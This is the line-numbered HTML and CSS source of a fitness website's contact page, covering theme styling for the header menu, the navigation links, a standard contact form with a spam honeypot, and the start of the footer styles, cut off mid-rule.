background-color: #4db2ec; 2391 -webkit-transform: translate3d(0, 0, 0); 2392 transform: translate3d(0, 0, 0); 2393 -webkit-transition: width 0.2s ease; 2394 transition: width 0.2s ease; 2395 }.tdb_header_menu .tdb-menu > li > a > .tdb-menu-item-text{ 2396 display: inline-block; 2397 }.tdb_header_menu .tdb-menu > li > a .tdb-menu-item-text, 2398 .tdb_header_menu .tdb-menu > li > a span{ 2399 vertical-align: middle; 2400 float: left; 2401 }.tdb_header_menu .tdb-menu > li > a .tdb-sub-menu-icon{ 2402 margin: 0 0 0 7px; 2403 }.tdb_header_menu .tdb-menu > li > a .tdb-sub-menu-icon-svg{ 2404 float: none; 2405 line-height: 0; 2406 }.tdb_header_menu .tdb-menu > li > a .tdb-sub-menu-icon-svg svg{ 2407 width: 14px; 2408 height: auto; 2409 }.tdb_header_menu .tdb-menu > li > a .tdb-sub-menu-icon-svg svg, 2410 .tdb_header_menu .tdb-menu > li > a .tdb-sub-menu-icon-svg svg *{ 2411 fill: #000; 2412 }.tdb_header_menu .tdb-menu > li.current-menu-item > a:after, 2413 .tdb_header_menu .tdb-menu > li.current-menu-ancestor > a:after, 2414 .tdb_header_menu .tdb-menu > li.current-category-ancestor > a:after, 2415 .tdb_header_menu .tdb-menu > li:hover > a:after, 2416 .tdb_header_menu .tdb-menu > li.tdb-hover > a:after{ 2417 width: 100%; 2418 }.tdb_header_menu .tdb-menu > li:hover > ul, 2419 .tdb_header_menu .tdb-menu > li.tdb-hover > ul{ 2420 top: auto; 2421 display: block !important; 2422 }.tdb_header_menu .tdb-menu > li.td-normal-menu > ul.sub-menu{ 2423 top: auto; 2424 left: 0; 2425 z-index: 99; 2426 }.tdb_header_menu .tdb-menu > li .tdb-menu-sep{ 2427 position: relative; 2428 vertical-align: middle; 2429 font-size: 14px; 2430 }.tdb_header_menu .tdb-menu > li .tdb-menu-sep-svg{ 2431 line-height: 0; 2432 }.tdb_header_menu .tdb-menu > li .tdb-menu-sep-svg svg{ 2433 width: 14px; 2434 height: auto; 2435 }.tdb_header_menu .tdb-menu > li:last-child .tdb-menu-sep{ 2436 display: none; 2437 }.tdb_header_menu .tdb-menu-item-text{ 2438 word-wrap: break-word; 2439 }.tdb_header_menu .tdb-menu-item-text, 2440 .tdb_header_menu .tdb-sub-menu-icon, 2441 .tdb_header_menu .tdb-menu-more-subicon{ 2442 vertical-align: middle; 2443 }.tdb_header_menu .tdb-sub-menu-icon, 2444 .tdb_header_menu .tdb-menu-more-subicon{ 2445 position: relative; 2446 top: 0; 2447 padding-left: 0; 2448 }.tdb_header_menu .tdb-normal-menu{ 2449 position: relative; 2450 }.tdb_header_menu .tdb-normal-menu ul{ 2451 left: 0; 2452 padding: 15px 0; 2453 text-align: left; 2454 }.tdb_header_menu .tdb-normal-menu ul ul{ 2455 margin-top: -15px; 2456 }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item{ 2457 position: relative; 2458 list-style-type: none; 2459 }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item > a{ 2460 position: relative; 2461 display: block; 2462 padding: 7px 30px; 2463 font-size: 12px; 2464 line-height: 20px; 2465 color: #111; 2466 }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon, 2467 .tdb_header_menu .td-pulldown-filter-list .tdb-menu-item > a .tdb-sub-menu-icon{ 2468 position: absolute; 2469 top: 50%; 2470 -webkit-transform: translateY(-50%); 2471 transform: translateY(-50%); 2472 right: 0; 2473 padding-right: inherit; 2474 font-size: 7px; 2475 line-height: 20px; 2476 }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon-svg, 2477 .tdb_header_menu .td-pulldown-filter-list .tdb-menu-item > a .tdb-sub-menu-icon-svg{ 2478 line-height: 0; 2479 }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon-svg svg, 2480 .tdb_header_menu .td-pulldown-filter-list .tdb-menu-item > a .tdb-sub-menu-icon-svg svg{ 2481 width: 7px; 2482 height: auto; 2483 }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon-svg svg, 2484 .tdb_header_menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon-svg svg *, 2485 .tdb_header_menu .td-pulldown-filter-list .tdb-menu-item > a .tdb-sub-menu-icon svg, 2486 .tdb_header_menu .td-pulldown-filter-list .tdb-menu-item > a .tdb-sub-menu-icon svg *{ 2487 fill: #000; 2488 }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item:hover > ul, 2489 .tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.tdb-hover > ul{ 2490 top: 0; 2491 display: block !important; 2492 }.tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.current-menu-item > a, 2493 .tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.current-menu-ancestor > a, 2494 .tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.current-category-ancestor > a, 2495 .tdb_header_menu .tdb-normal-menu ul .tdb-menu-item.tdb-hover > a, 2496 .tdb_header_menu .tdb-normal-menu ul .tdb-menu-item:hover > a{ 2497 color: #4db2ec; 2498 }.tdb_header_menu .tdb-normal-menu > ul{ 2499 left: -15px; 2500 }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu ul, 2501 .tdb_header_menu.tdb-menu-sub-inline .td-pulldown-filter-list{ 2502 width: 100% !important; 2503 }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu ul li, 2504 .tdb_header_menu.tdb-menu-sub-inline .td-pulldown-filter-list li{ 2505 display: inline-block; 2506 width: auto !important; 2507 }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu, 2508 .tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu .tdb-menu-item{ 2509 position: static; 2510 }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu ul ul{ 2511 margin-top: 0 !important; 2512 }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu > ul{ 2513 left: 0 !important; 2514 }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu .tdb-menu-item > a .tdb-sub-menu-icon{ 2515 float: none; 2516 line-height: 1; 2517 }.tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu .tdb-menu-item:hover > ul, 2518 .tdb_header_menu.tdb-menu-sub-inline .tdb-normal-menu .tdb-menu-item.tdb-hover > ul{ 2519 top: 100%; 2520 }.tdb_header_menu.tdb-menu-sub-inline .tdb-menu-items-dropdown{ 2521 position: static; 2522 }.tdb_header_menu.tdb-menu-sub-inline .td-pulldown-filter-list{ 2523 left: 0 !important; 2524 }.tdb-menu .tdb-mega-menu .sub-menu{ 2525 -webkit-transition: opacity 0.3s ease; 2526 transition: opacity 0.3s ease; 2527 width: 1114px !important; 2528 }.tdb-menu .tdb-mega-menu .sub-menu, 2529 .tdb-menu .tdb-mega-menu .sub-menu > li{ 2530 position: absolute; 2531 left: 50%; 2532 -webkit-transform: translateX(-50%); 2533 transform: translateX(-50%); 2534 }.tdb-menu .tdb-mega-menu .sub-menu > li{ 2535 top: 0; 2536 width: 100%; 2537 max-width: 1114px !important; 2538 height: auto; 2539 background-color: #fff; 2540 border: 1px solid #eaeaea; 2541 overflow: hidden; 2542 }.tdc-dragged .tdb-block-menu ul{ 2543 visibility: hidden !important; 2544 opacity: 0 !important; 2545 -webkit-transition: all 0.3s ease; 2546 transition: all 0.3s ease; 2547 }.tdb-mm-align-screen .tdb-menu .tdb-mega-menu .sub-menu{ 2548 -webkit-transform: translateX(0); 2549 transform: translateX(0); 2550 }.tdb-mm-align-parent .tdb-menu .tdb-mega-menu{ 2551 position: relative; 2552 }.tdi_30{ 2553 display: inline-block; 2554 }.tdi_30 .tdb-menu > li{ 2555 margin-right: 25px; 2556 }.tdi_30 .tdb-menu > li:last-child{ 2557 margin-right: 0; 2558 }.tdi_30 .tdb-menu-items-dropdown{ 2559 margin-left: 25px; 2560 }.tdi_30 .tdb-menu-items-empty + .tdb-menu-items-dropdown{ 2561 margin-left: 0; 2562 }.tdi_30 .tdb-menu > li > a, 2563 .tdi_30 .td-subcat-more{ 2564 padding: 0 5px; 2565 2566 color: #22b573; 2567 }.tdi_30 .tdb-menu > li .tdb-menu-sep, 2568 .tdi_30 .tdb-menu-items-dropdown .tdb-menu-sep{ 2569 top: 0px; 2570 2571 color: #ffffff; 2572 }.tdi_30 .tdb-menu > li > a .tdb-sub-menu-icon, 2573 .tdi_30 .td-subcat-more .tdb-menu-more-subicon{ 2574 margin-left: 10px; 2575 2576 top: 0px; 2577 2578 color: #ffffff; 2579 }.tdi_30 .td-subcat-more .tdb-menu-more-icon{ 2580 top: 0px; 2581 2582 color: #ffffff; 2583 }.tdi_30 .tdb-menu > li > a .tdb-sub-menu-icon-svg svg, 2584 .tdi_30 .tdb-menu > li > a .tdb-sub-menu-icon-svg svg *, 2585 .tdi_30 .td-subcat-more .tdb-menu-more-subicon-svg svg, 2586 .tdi_30 .td-subcat-more .tdb-menu-more-subicon-svg svg *, 2587 .tdi_30 .td-subcat-more .tdb-menu-more-icon-svg, 2588 .tdi_30 .td-subcat-more .tdb-menu-more-icon-svg *{ 2589 fill: #22b573; 2590 }.tdi_30 .tdb-menu > li > a .tdb-sub-menu-icon-svg svg, 2591
2591 .tdi_30 .tdb-menu > li > a .tdb-sub-menu-icon-svg svg *, 2592 .tdi_30 .td-subcat-more .tdb-menu-more-subicon-svg svg, 2593 .tdi_30 .td-subcat-more .tdb-menu-more-subicon-svg svg *{ 2594 fill: #ffffff; 2595 }.tdi_30 .tdb-menu > li .tdb-menu-sep-svg svg, 2596 .tdi_30 .tdb-menu > li .tdb-menu-sep-svg svg *, 2597 .tdi_30 .tdb-menu-items-dropdown .tdb-menu-sep-svg svg, 2598 .tdi_30 .tdb-menu-items-dropdown .tdb-menu-sep-svg svg *{ 2599 fill: #ffffff; 2600 }.tdi_30 .td-subcat-more .tdb-menu-more-icon-svg, 2601 .tdi_30 .td-subcat-more .tdb-menu-more-icon-svg *{ 2602 fill: #ffffff; 2603 }.tdi_30 .tdb-menu > li > a, 2604 .tdi_30 .td-subcat-more, 2605 .tdi_30 .td-subcat-more > .tdb-menu-item-text{ 2606 font-family:Noto Sans !important;font-size:15px !important;font-weight:400 !important;text-transform:none !important; 2607 }.tdi_30 .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon, 2608 .tdi_30 .td-pulldown-filter-list .tdb-menu-item > a .tdb-sub-menu-icon{ 2609 right: 0; 2610
2611 margin-top: 1px; 2612 }.tdi_30 .tdb-menu .tdb-normal-menu ul, 2613 .tdi_30 .td-pulldown-filter-list, 2614 .tdi_30 .td-pulldown-filter-list .sub-menu{ 2615 background-color: #ffffff; 2616 2617 box-shadow: 1px 1px 4px 0px rgba(0,0,0,0.1); 2618 }.tdi_30 .tdb-menu .tdb-normal-menu ul .tdb-menu-item > a, 2619 .tdi_30 .td-pulldown-filter-list li a, 2620 .tdi_30 .td-pulldown-filter-list .sub-menu li a{ 2621 background-color: rgba(255,255,255,0); 2622 }.tdi_30 .tdb-menu .tdb-normal-menu ul .tdb-menu-item > a, 2623 .tdi_30 .tdb-menu-items-dropdown .td-pulldown-filter-list li a, 2624 .tdi_30 .tdb-menu-items-dropdown .td-pulldown-filter-list li a{ 2625 color: #333333; 2626 }.tdi_30 .tdb-menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon-svg svg, 2627 .tdi_30 .tdb-menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon-svg svg *, 2628 .tdi_30 .tdb-menu-items-dropdown .td-pulldown-filter-list li a .tdb-sub-menu-icon-svg svg, 2629 .tdi_30 .tdb-menu-items-dropdown .td-pulldown-filter-list li a .tdb-sub-menu-icon-svg svg *{ 2630 fill: #333333; 2631 }.tdi_30 .tdb-menu .tdb-normal-menu ul .tdb-menu-item > a, 2632 .tdi_30 .td-pulldown-filter-list li a{ 2633 font-family:Noto Sans !important;font-size:13px !important;font-weight:600 !important; 2634 }.tdi_30:not(.tdb-mm-align-screen) .tdb-mega-menu .sub-menu, 2635 .tdi_30 .tdb-mega-menu .sub-menu > li{ 2636 max-width: 1460px !important; 2637 }.tdi_30 .tdb-mega-menu .tdb_header_mega_menu{ 2638 margin-left: 0; 2639 }.tdi_30 .tdb-menu .tdb-mega-menu .sub-menu > li{ 2640 border-width: 0px; 2641 2642 box-shadow: 0px 20px 35px 0px rgba(0,0,0,0.15); 2643 }@media (max-width: 1140px) { 2644 .tdb-menu .tdb-mega-menu .sub-menu > li { 2645 width: 100% !important; 2646 } 2647 } 2648 2649/* landscape */ 2650@media (min-width: 1019px) and (max-width: 1140px){ 2651.tdi_30 .tdb-menu > li{ 2652 margin-right: 15px; 2653 }.tdi_30 .tdb-menu > li:last-child{ 2654 margin-right: 0; 2655 }.tdi_30 .tdb-menu-items-dropdown{ 2656 margin-left: 15px; 2657 }.tdi_30 .tdb-menu-items-empty + .tdb-menu-items-dropdown{ 2658 margin-left: 0; 2659 }.tdi_30 .tdb-menu .tdb-normal-menu ul, 2660 .tdi_30 .td-pulldown-filter-list, 2661 .tdi_30 .td-pulldown-filter-list .sub-menu{ 2662 box-shadow: 0px 10px 15px 0px rgba(0,0,0,0.1); 2663 }.tdi_30 .tdb-menu .tdb-mega-menu .sub-menu > li{ 2664 box-shadow: 0px 15px 30px 0px rgba(0,0,0,0.15); 2665 } 2666} 2667 2668/* portrait */ 2669@media (min-width: 768px) and (max-width: 1018px){ 2670.tdi_30 .tdb-menu > li{ 2671 margin-right: 8px; 2672 }.tdi_30 .tdb-menu > li:last-child{ 2673 margin-right: 0; 2674 }.tdi_30 .tdb-menu-items-dropdown{ 2675 margin-left: 8px; 2676 }.tdi_30 .tdb-menu-items-empty + .tdb-menu-items-dropdown{ 2677 margin-left: 0; 2678 }.tdi_30 .tdb-menu > li > a, 2679 .tdi_30 .td-subcat-more{ 2680 padding: 0 2px; 2681 }.tdi_30 .tdb-menu > li > a, 2682 .tdi_30 .td-subcat-more, 2683 .tdi_30 .td-subcat-more > .tdb-menu-item-text{ 2684 font-family:Noto Sans !important;font-size:13px !important;font-weight:400 !important;text-transform:none !important; 2685 } 2686} 2687</style> 2688<style> 2689.tdi_30 .tdb-menu > li.current-menu-item > a, 2690 .tdi_30 .tdb-menu > li.current-menu-ancestor > a, 2691 .tdi_30 .tdb-menu > li.current-category-ancestor > a, 2692 .tdi_30 .tdb-menu > li:hover > a, 2693 .tdi_30 .tdb-menu > li.tdb-hover > a, 2694 .tdi_30 .tdb-menu-items-dropdown:hover .td-subcat-more{ 2695 color: #22b573; 2696 }.tdi_30 .tdb-menu > li.current-menu-item > a .tdb-sub-menu-icon-svg svg, 2697 .tdi_30 .tdb-menu > li.current-menu-item > a .tdb-sub-menu-icon-svg svg *, 2698 .tdi_30 .tdb-menu > li.current-menu-ancestor > a .tdb-sub-menu-icon-svg svg, 2699 .tdi_30 .tdb-menu > li.current-menu-ancestor > a .tdb-sub-menu-icon-svg svg *, 2700 .tdi_30 .tdb-menu > li.current-category-ancestor > a .tdb-sub-menu-icon-svg svg, 2701 .tdi_30 .tdb-menu > li.current-category-ancestor > a .tdb-sub-menu-icon-svg svg *, 2702 .tdi_30 .tdb-menu > li:hover > a .tdb-sub-menu-icon-svg svg, 2703 .tdi_30 .tdb-menu > li:hover > a .tdb-sub-menu-icon-svg svg *, 2704 .tdi_30 .tdb-menu > li.tdb-hover > a .tdb-sub-menu-icon-svg svg, 2705 .tdi_30 .tdb-menu > li.tdb-hover > a .tdb-sub-menu-icon-svg svg *, 2706 .tdi_30 .tdb-menu-items-dropdown:hover .td-subcat-more .tdb-menu-more-icon-svg svg, 2707 .tdi_30 .tdb-menu-items-dropdown:hover .td-subcat-more .tdb-menu-more-icon-svg svg *{ 2708 fill: #22b573; 2709 }.tdi_30 .tdb-menu > li > a:after, 2710 .tdi_30 .tdb-menu-items-dropdown .td-subcat-more:after{ 2711 background-color: rgba(198,133,104,0.24); 2712 2713 height: 2px; 2714 2715 bottom: 11px; 2716 } 2717 2718/* landscape */ 2719@media (min-width: 1019px) and (max-width: 1140px){ 2720.tdi_30 .tdb-menu > li > a:after, 2721 .tdi_30 .tdb-menu-items-dropdown .td-subcat-more:after{ 2722 height: 6px; 2723 } 2724} 2725 2726/* portrait */ 2727@media (min-width: 768px) and (max-width: 1018px){ 2728.tdi_30 .tdb-menu > li > a:after, 2729 .tdi_30 .tdb-menu-items-dropdown .td-subcat-more:after{ 2730 height: 4px; 2731 2732 bottom: 16px; 2733 } 2734} 2735</style> 2736<style> 2737.tdi_30 .tdb-menu ul .tdb-normal-menu.current-menu-item > a, 2738 .tdi_30 .tdb-menu ul .tdb-normal-menu.current-menu-ancestor > a, 2739 .tdi_30 .tdb-menu ul .tdb-normal-menu.current-category-ancestor > a, 2740 .tdi_30 .tdb-menu ul .tdb-normal-menu.tdb-hover > a, 2741 .tdi_30 .tdb-menu ul .tdb-normal-menu:hover > a, 2742 .tdi_30 .tdb-menu-items-dropdown .td-pulldown-filter-list li:hover > a{ 2743 background-color: rgba(255,255,255,0); 2744 } 2745</style><div id=tdi_30 class="td_block_inner td-fix-index"><div class="tdb-sub-icon-fake"><i class="tdb-sub-menu-icon td-icon-right-arrow"></i></div><ul id="menu-header-menu-1" class="tdb-block-menu tdb-menu tdb-menu-items-visible"><li class="menu-item menu-item-type-post_type menu-item-object-page tdb-cur-menu-item menu-item-first tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1269">
2745<a href="https://thedailypump.com/about/"><div class="tdb-menu-item-text">About</div></a></li> 2746<li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1274"><a href="https://thedailypump.com/category/fitness/"><div class="tdb-menu-item-text">Fitness</div></a></li> 2747<li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1270"><a href="https://thedailypump.com/category/nutrition-and-supplements/"><div class="tdb-menu-item-text">Supplements</div></a></li> 2748<li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1272"><a href="https://thedailypump.com/category/weight-loss/"><div class="tdb-menu-item-text">Weight Loss</div></a></li> 2749<li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1271"><a href="https://thedailypump.com/category/videos/"><div class="tdb-menu-item-text">Videos</div></a></li> 2750<li class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-1266 current_page_item tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1268"><a href="https://thedailypump.com/contact/"><div class="tdb-menu-item-text">Contact</div></a></li> 2751</ul></div></div></div></div></div></div></div></div> </div> 2752 <div class="td-header-desktop-sticky-wrap tdc-zone-sticky-invisible tdc-zone-sticky-inactive" style="display: none"> 2753 <div id="tdi_33" class="tdc-zone"><div class="tdc_zone tdi_34 wpb_row td-pb-row" data-sticky-offset="0" > 2754<style scoped> 2755 2756/* custom css */ 2757.tdi_34{ 2758 min-height: 0; 2759 }.td-header-desktop-sticky-wrap.td-header-active{ 2760 opacity: 1; 2761 } 2762</style><div id="tdi_35" class="tdc-row"><div class="vc_row tdi_36 wpb_row td-pb-row" > 2763<style scoped> 2764 2765/* custom css */ 2766.tdi_36, 2767 .tdi_36 .tdc-columns{ 2768 min-height: 0; 2769 }.tdi_36, 2770 .tdi_36 .tdc-columns{ 2771 display: block; 2772 }.tdi_36 .tdc-columns{ 2773 width: 100%; 2774 } 2775</style><div class="vc_column tdi_38 wpb_column vc_column_container tdc-column td-pb-span12"> 2776<style scoped> 2777 2778/* custom css */ 2779.tdi_38{ 2780 vertical-align: baseline; 2781 }.tdi_38 > .wpb_wrapper, 2782 .tdi_38 > .wpb_wrapper > .tdc-elements{ 2783 display: block; 2784 }.tdi_38 > .wpb_wrapper > .tdc-elements{ 2785 width: 100%; 2786 }.tdi_38 > .wpb_wrapper > .vc_row_inner{ 2787 width: auto; 2788 }.tdi_38 > .wpb_wrapper{ 2789 width: auto; 2790 height: auto; 2791 } 2792</style><div class="wpb_wrapper" ></div></div></div></div></div></div> </div> 2793 </div> 2794 2795<div class="td-main-content-wrap td-container-wrap "> 2796 <div class="td-container tdc-content-wrap "> 2797 <div class="td-crumb-container"> 2798 <div class="entry-crumbs"><span><a title="" class="entry-crumb" href="https://thedailypump.com/">Home</a></span> <i class="td-icon-right td-bread-sep td-bred-no-url-last"></i> <span class="td-bred-no-url-last">Contact</span></div> </div> 2799 <div class="td-pb-row"> 2800 <div class="td-pb-span8 td-main-content" role="main"> 2801 <div class="td-ss-main-content"> 2802 <div class="td-page-header"> 2803 <h1 class="entry-title td-page-title"> 2804 <span>Contact</span> 2805 </h1> 2806 </div> 2807 <div class="td-page-content tagdiv-type"> 2808 <div class="everest-forms"><div class="evf-container default" id="evf-1265"><form id="evf-form-1265" class="everest-form" data-formid="1265" data-ajax_submission="0" data-keyboard_friendly_form="0" data-form_state_type="" method="post" enctype="multipart/form-data" action="/contact/"><div class="evf-field-container">
2808<input type="hidden" id="_wpnonce1265" name="_wpnonce1265" value="347542ab0f" /><input type="hidden" name="_wp_http_referer" value="/contact/" /><div class="evf-frontend-row" data-row="row_1" conditional_rules="[]"><div class="evf-frontend-grid evf-grid-1" data-grid="grid_1"><div id="evf-1265-field_ys0GeZISRs-1-container" class="evf-field evf-field-first-name form-row validate-required" data-required-field-message="This field is required." data-field-id="ys0GeZISRs-1"><label class="evf-field-label" for="evf-1265-field_ys0GeZISRs-1"><span class="evf-label">Name</span> <abbr class="required" title="Required">*</abbr></label><input type="text" id="evf-1265-field_ys0GeZISRs-1" class="input-text" name="everest_forms[form_fields][ys0GeZISRs-1]" required></div><div id="evf-1265-field_LbH5NxasXM-2-container" class="evf-field evf-field-email form-row validate-required validate-email" data-required-field-message="Please enter a valid email address." data-field-id="LbH5NxasXM-2"><label class="evf-field-label" for="evf-1265-field_LbH5NxasXM-2"><span class="evf-label">Email</span> <abbr class="required" title="Required">*</abbr></label><input type="email" id="evf-1265-field_LbH5NxasXM-2" class="input-text" name="everest_forms[form_fields][LbH5NxasXM-2]" required ></div><div id="evf-1265-field_66FR384cge-3-container" class="evf-field evf-field-text form-row" data-field-id="66FR384cge-3"><label class="evf-field-label" for="evf-1265-field_66FR384cge-3"><span class="evf-label">Subject</span> </label><input type="text" id="evf-1265-field_66FR384cge-3" class="input-text" name="everest_forms[form_fields][66FR384cge-3]" ></div><div id="evf-1265-field_yhGx3FOwr2-4-container" class="evf-field evf-field-textarea form-row" data-field-id="yhGx3FOwr2-4"><label class="evf-field-label" for="evf-1265-field_yhGx3FOwr2-4"><span class="evf-label">Message</span> </label><textarea id="evf-1265-field_yhGx3FOwr2-4" class="input-text" name="everest_forms[form_fields][yhGx3FOwr2-4]" ></textarea></div></div></div></div><div class="evf-honeypot-container evf-field-hp"><label for="evf-1265-field-hp" class="evf-field-label">Phone</label><input type="text" name="everest_forms[hp]" id="evf-1265-field-hp" class="input-text"></div><div class="evf-submit-container " ><input type="hidden" name="everest_forms[id]" value="1265"><input type="hidden" name="everest_forms[author]" value="4"><input type="hidden" name="everest_forms[post_id]" value="1266"><button type='submit' name='everest_forms[submit]' class='everest-forms-submit-button button evf-submit ' id='evf-submit-1265' value='evf-submit' data-process-text="Processingâ¦" conditional_rules='""' conditional_id='evf-submit-1265' id="evf-submit-1265" aria-live="assertive">Submit</button></div></form></div><!-- .evf-container --></div> 2809 </div> 2810 </div> 2811 </div> 2812 <div class="td-pb-span4 td-main-sidebar" role="complementary"> 2813 <div class="td-ss-main-sidebar"> 2814 <!-- .no sidebar --> 2815 </div> 2816 </div> 2817 </div> <!-- /.td-pb-row --> 2818 </div> <!-- /.td-container --> 2819</div> <!-- /.td-main-content-wrap --> 2820 2821 2822 2823 <div class="td-footer-template-wrap" style="position: relative"> 2824 <div class="td-footer-wrap "> 2825 <div id="tdi_39" class="tdc-zone"><div class="tdc_zone tdi_40 wpb_row td-pb-row" > 2826<style scoped> 2827 2828/* custom css */ 2829.tdi_40{ 2830 min-height: 0; 2831 } 2832</style><div id="tdi_41" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_42 wpb_row td-pb-row tdc-element-style" > 2833<style scoped> 2834 2835/* custom css */ 2836.tdi_42, 2837 .tdi_42 .tdc-columns{ 2838 min-height: 0; 2839 }.tdi_42, 2840 .tdi_42 .tdc-columns{ 2841 display: block; 2842 }.tdi_42 .tdc-columns{ 2843 width: 100%; 2844 } 2845/* inline tdc_css att */ 2846 2847.tdi_42{ 2848position:relative; 2849} 2850 2851.tdi_42 .td_block_wrap{ text-align:left } 2852 2853</style> 2854<div class="tdi_41_rand_style td-element-style" ><style> 2855.tdi_41_rand_style{ 2856background-color:#e8efef !important; 2857} 2858 </style></div><div class="vc_column tdi_44 wpb_column vc_column_container tdc-column td-pb-span12"> 2859<style scoped> 2860 2861/* custom css */ 2862.tdi_44{ 2863 vertical-align: baseline; 2864 }.tdi_44 > .wpb_wrapper, 2865 .tdi_44 > .wpb_wrapper > .tdc-elements{ 2866 display: block; 2867 }.tdi_44 > .wpb_wrapper > .tdc-elements{ 2868 width: 100%; 2869 }.tdi_44 > .wpb_wrapper > .vc_row_inner{ 2870 width: auto; 2871 }.tdi_44 > .wpb_wrapper{ 2872 width: auto; 2873 height: auto; 2874 } 2875</style><div class="wpb_wrapper" ><div class="wpb_wrapper td_block_separator td_block_wrap vc_separator tdi_46 td_separator_solid td_separator_center"><span style="border-color:#dce2e5;border-width:1px;width:100%;"></span> 2876<style scoped> 2877 2878/* custom css */ 2879.td_block_separator{ 2880 width: 100%; 2881 align-items: center; 2882 margin-bottom: 38px; 2883 padding-bottom: 10px; 2884 }.td_block_separator span{ 2885 position: relative; 2886 display: block; 2887 margin: 0 auto; 2888 width: 100%; 2889 height: 1px; 2890 border-top: 1px solid #EBEBEB; 2891 }.td_separator_align_left span{ 2892 margin-left: 0; 2893 }.td_separator_align_right span{ 2894 margin-right: 0; 2895 }.td_separator_dashed span{ 2896 border-top-style: dashed; 2897 }.td_separator_dotted span{ 2898 border-top-style: dotted; 2899 }.td_separator_double span{ 2900 height: 3px; 2901 border-bottom: 1px solid #EBEBEB; 2902 }.td_separator_shadow > span{ 2903 position: relative; 2904 height: 20px; 2905 overflow: hidden; 2906 border: 0; 2907 color: #EBEBEB; 2908 }.td_separator_shadow > span > span{ 2909 position: absolute; 2910 top: -30px; 2911 left: 0; 2912 right: 0; 2913 margin: 0 auto; 2914 height: 13px; 2915 width: 98%; 2916 border-radius: 100%; 2917 }html :where([style*='border-width']){ 2918 border-style: none; 2919 } 2920/* inline tdc_css att */ 2921 2922.tdi_46{ 2923margin-bottom:0px !important; 2924} 2925 2926</style></div></div></div></div></div><div id="tdi_47" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_48 wpb_row td-pb-row tdc-element-style" > 2927<style scoped> 2928 2929/* custom css */ 2930.tdi_48, 2931 .tdi_48 .tdc-columns{ 2932 min-height: 0; 2933 }.tdi_48, 2934 .tdi_48 .tdc-columns{ 2935 display: block; 2936 }.tdi_48 .tdc-columns{ 2937 width: 100%; 2938 } 2939/* inline tdc_css att */ 2940 2941.tdi_48{ 2942padding-top:80px !important; 2943padding-bottom:80px !important; 2944position:relative; 2945} 2946 2947.tdi_48 .td_block_wrap{ text-align:left } 2948 2949/* landscape */ 2950@media (min-width: 1019px) and (max-width: 1140px) 2951{ 2952.tdi_48{ 2953padding-top:50px !important; 2954padding-bottom:60px !important; 2955} 2956} 2957 2958/* portrait */ 2959@media (min-width: 768px) and (max-width: 1018px) 2960{ 2961.tdi_48{ 2962padding-top:30px !important; 2963padding-bottom:40px !important; 2964} 2965} 2966 2967/* phone */ 2968@media (max-width: 767px) 2969{ 2970.tdi_48{ 2971padding-top:30px !important; 2972padding-right:10px !important; 2973padding-bottom:60px !important; 2974padding-left:10px !important; 2975} 2976} 2977 2978</style> 2979<div class="tdi_47_rand_style td-element-style" ><style> 2980.tdi_47_rand_style{ 2981background-color:#e8efef !important; 2982} 2983 </style></div><div class="vc_column tdi_50 wpb_column vc_column_container tdc-column td-pb-span3"> 2984<style scoped> 2985 2986/* custom css */ 2987.tdi_50{ 2988 vertical-align: baseline; 2989 }.tdi_50 > .wpb_wrapper, 2990 .tdi_50 > .wpb_wrapper > .tdc-elements{ 2991 display: block; 2992 }.tdi_50 > .wpb_wrapper > .tdc-elements{ 2993 width: 100%; 2994 }.tdi_50 > .wpb_wrapper > .vc_row_inner{ 2995 width: auto; 2996 }.tdi_50 > .wpb_wrapper{ 2997 width: auto; 2998 height: auto; 2999 } 3000/* inline tdc_css att */ 3001 3002.tdi_50{ 3003padding-right:130px !important; 3004width:34% !important; 3005} 3006 3007/* landscape */ 3008@media (min-width: 1019px) and (max-width: 1140px) 3009{ 3010.tdi_50{ 3011padding-right:0px !important; 3012width:30% !important; 3013} 3014} 3015 3016/* portrait */ 3017@media (min-width: 768px) and (max-width: 1018px) 3018{ 3019.tdi_50{ 3020padding-right:20px !important; 3021width:34% !important; 3022} 3023} 3024 3025/* phone */ 3026@media (max-width: 767px) 3027{ 3028.tdi_50{ 3029margin-bottom:40px !important; 3030padding-right:0px !important; 3031width:100% !important; 3032} 3033} 3034 3035</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_51 td-pb-border-top td_block_template_1 tdb-header-align" data-td-block-uid="tdi_51" > 3036<style> 3037 3038/* inline tdc_css att */ 3039 3040/* phone */ 3041@media (max-width: 